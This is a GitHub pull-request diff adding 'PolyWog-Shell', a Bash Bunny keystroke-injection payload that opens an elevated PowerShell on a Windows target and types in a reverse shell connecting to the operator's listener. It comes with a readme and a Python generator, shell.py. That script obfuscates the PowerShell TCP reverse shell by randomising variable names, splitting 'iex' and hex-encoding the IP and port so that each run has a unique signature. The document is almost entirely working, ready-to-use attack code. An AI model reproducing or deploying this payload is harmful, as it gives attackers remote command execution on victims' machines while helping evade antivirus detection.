Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
51 changes: 51 additions & 0 deletions payloads/library/execution/PolyWog-Shell/payload.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
####################
# Title: PolyWog-Shell
# Author: Hak5Peaks
# Catagory: Exacuation
# Description: This payload uses a python2 + Bash script to generate a signature unique powershell rev shell that is typed out on the target PC using keystroke injection.
# Target: Windows
####################

# Configuation.
# Replace IP and port with IP and port of your netcat listner.
IP="192.168.0.0" # Change this to IP on ncat listen
PORT="0" # Change this to Port on ncat listen

ATTACKMODE HID
LED ATTACK # indicate payload started

Q DELAY 1000 #Waiting for PC to recongize bunny.


SHELL_PY_DIR="" # Placeholder for locating shell.py | NO NEED TO CONFIGURE |

# Check for shell.py in Udisk and root dir, just incase the script is ran twice.
if [ -f "/tools/shell.py" ]; then
SHELL_PY_DIR="/tools"
elif [ -f "/root/udisk/tools/shell.py" ]; then
SHELL_PY_DIR="/root/udisk/tools"
else
Q DELAY 1000
Q GUI
Q DELAY 500
Q STRING "shell.py not found, make sure you have placed it inside of the UDisk :) " >&2 # Catch to make sure the user has shell.py on their bunny.
LED R # indicate payload failed.
exit 1
fi

cd ..
cd $SHELL_PY_DIR
python shell.py $IP $PORT # Pass IP and port as arg in python generator script.
SHELL="$(cat shell.txt)" # Set output as global variable to avoid having to add escapes.

Q DELAY 2000
Q GUI x # Windows power menu
Q DELAY 750
Q a # Admin powersehll
Q DELAY 1000
Q ALT y # Accept permission prompt
Q DELAY 2000
Q STRING "$SHELL" # type out generated reverse shell.
Q DELAY 500
Q ENTER
LED FINISH # Indicate payload is done.
112 changes: 112 additions & 0 deletions payloads/library/execution/PolyWog-Shell/readme.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,112 @@

# PolyWog-Shell
### By: Hak5Peaks


## PolyWog Shell Description.

PolyWog shell is a reverse shell generator designed for the Bash Bunny. This payload uses a python2 + bash script to generate a powershell payload with a unique signature. Every time the Bash Bunny is plugged into a computer, a unique powershell script will be injected into the target machine.

The python2 script uses a base powershell payload and randomizes/obfuscates parts of the powershell payload. Using methods such as variable and string Obfuscation and IP and Port Encoding

## LED.

- Blue, payload has started and is running.
- Red, Payload failed, most likely due to missing `shell.py`
- Green, payload has completed.


## Configuations.

This script requires minimal configuration. simply launch a nc listener `nc -lvnp PORT` and copy the IP and Port from your listener into the IP and Port variable on the payload. Then place the python2 script `shell.py` inside of the `tools` directory of the udisk.


### Shell + Payload configuation Example
<div style="display: flex; justify-content: center; gap: 10px;">
<img src="https://github.com/user-attachments/assets/874226a5-6d3e-47d4-93bd-70fbf0ef5d2a" width="45%">
<img src="https://github.com/user-attachments/assets/7f656678-575e-43b3-8988-a60a70b01169" width="45%">
</div>

### Udisk configuration Example

![image](https://github.com/user-attachments/assets/daf4b620-5d38-4ceb-86b0-95edafd0494d)

### SD Card.

If you have a SD card inserted into your bunny, make sure to read these considerations.

https://docs.hak5.org/bash-bunny/getting-started/considerations-for-mark-ii#payload-considerations

When loading this payload, please remove the SD card from your Bunny before inserting while in arming mode. Then place the `payload.txt` in the proper switch directory and shell.py inside of the /tools directory.

## Requirements.

Ensure correct configuation as stated above. There are `no` other requirments or external packages that need to be install.




# For anyone interest in the code! ↓




## Code break down - Base powershell script.

![image](https://github.com/user-attachments/assets/4fb614fe-7593-4b43-ac6c-46bcecf88b3d)


This is the base powershell script that is plugged into the python2 script. It is a simple reverse shell that uses `System.Net.Sockets.TCPClient` to make remote connections to our netcat listener. This connection is TCP connection is kept open and the script waits for a response back from the netcat server and runs the results in shell using `Invoke-Expression` Once a command is received and ran the output of the command is sent back using `StreamWriter` to the remote IP and Port specified in the powershell payload. Very simple :D



## Code break down - Python obfuscator script.

![image](https://github.com/user-attachments/assets/a4c96bab-5d59-43c3-b1d8-099a7b43eb1a)

This is the python script that stores our original powershell payload. The python script's job is to use regexing to modify, randomize and replace parts of our original powershell payload in order to create a brand new payload that achieves the same functionality as the original.

It does it using these functions,

First, when the script is called it takes in our command line arguments from the bash script and stores them as variables within the script
```
ip = sys.argv[1]
port = sys.argv[2]
```
Second, the script replaces our IP and Port within out powershell payload,
```
script = """$tcp=New-Object System.Net.Sockets.TCPClient('*LHOST*',*LPORT*);...
```
Third, the python script looks for variables names within our powershell payload and replaces them with random letters
```
var_dict = {}
pattern = re.compile(r'(?!\$PSHOME)(\$[A-Za-z][A-Za-z0-9]+)')
def replace_var(match):
var_name = match.group(1)
if var_name not in var_dict:
var_dict[var_name] = '$' + ''.join(random.sample(string.ascii_letters + string.digits, 10))
return var_dict[var_name]

script = pattern.sub(replace_var, script)
```
Resulting in a output similar to this `$tcp -> $aBc123dEf4`

Then, the python script will search for certain commands such as `iex` that can be easily changed. without creating conflicts. `iex -> i''ex`
```
pattern = re.compile(r'\biex\b')
script = pattern.sub("i''ex", script)
```
The script then moves on to convert our IP and port numbers to hex.

```
pattern = re.compile(r'\b(?!65535)([1-9]\d{1,3}|[1-5]\d{4}|6[0-4]\d{3}|65[0-4]\d{2}|655[0-2]\d|6553[0-5])\b')
def port_to_hex(match):
port_number = int(match.group())
return hex(port_number)

script = pattern.sub(port_to_hex, script)
```
The brand new powershell payload is stored as shell.txt so its contents can later be used inside out bash bunny payload.



55 changes: 55 additions & 0 deletions payloads/library/execution/PolyWog-Shell/shell.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
# PolyWog Shell generator
# Usage: python2 shell.py $IP $PORT

import re
import string
import random
import sys

ip = sys.argv[1] # Arguement that are passed fom payload.txt for IP
port = sys.argv[2] # Arguement that are passed fom payload.txt for Port

script = """$tcp=New-Object System.Net.Sockets.TCPClient('*LHOST*',*LPORT*);$stream=$tcp.GetStream();$reader=New-Object System.IO.StreamReader($stream);$writer=New-Object System.IO.StreamWriter($stream,[System.Text.Encoding]::UTF8);$writer.AutoFlush=$true;while($tcp.Connected){$data=$reader.ReadLine();if($data){try{$result=Invoke-Expression $data;if($result -is [System.Collections.IEnumerable]){$result=($result | ForEach-Object {$_.Name}) -join "`n"}$writer.WriteLine($result);$writer.Flush()}catch{ $writer.WriteLine("Error: $_");$writer.Flush()}}}"""
# Orginal powershell revshell.
var_dict = {}
pattern = re.compile(r'(?!\$PSHOME)(\$[A-Za-z][A-Za-z0-9]+)')

# Variable name randomization.
def replace_var(match):
var_name = match.group(1)
if var_name not in var_dict:
var_dict[var_name] = '$' + ''.join(random.sample(string.ascii_letters + string.digits, 10))
return var_dict[var_name]

script = pattern.sub(replace_var, script)
# Replace variable names.

pattern = re.compile(r'\biex\b') # Replace iex
script = pattern.sub("i''ex", script) # Replace iex

pattern = re.compile(r'\bPS\b')
def replace_ps(match):
return '<:' + ''.join(random.sample(string.ascii_letters + string.digits, 10)) + ':>'

script = pattern.sub(replace_ps, script)

script = script.replace("*LHOST*", ip) # Insert sys argument for IP
script = script.replace("*LPORT*", port) # Insert sys argument for Port

pattern = re.compile(r'\b(?:\d{1,3}\.){3}\d{1,3}\b')
def ip_to_hex(match):
return '0x' + ''.join('{:02x}'.format(int(x)) for x in match.group(0).split('.')) # Convert IP and Port to hex

script = pattern.sub(ip_to_hex, script)

pattern = re.compile(r'\b(?!65535)([1-9]\d{1,3}|[1-5]\d{4}|6[0-4]\d{3}|65[0-4]\d{2}|655[0-2]\d|6553[0-5])\b')
def port_to_hex(match):
port_number = int(match.group())
return hex(port_number)

script = pattern.sub(port_to_hex, script)

output_file = "shell.txt"

with open(output_file, 'w') as file:
file.write(script)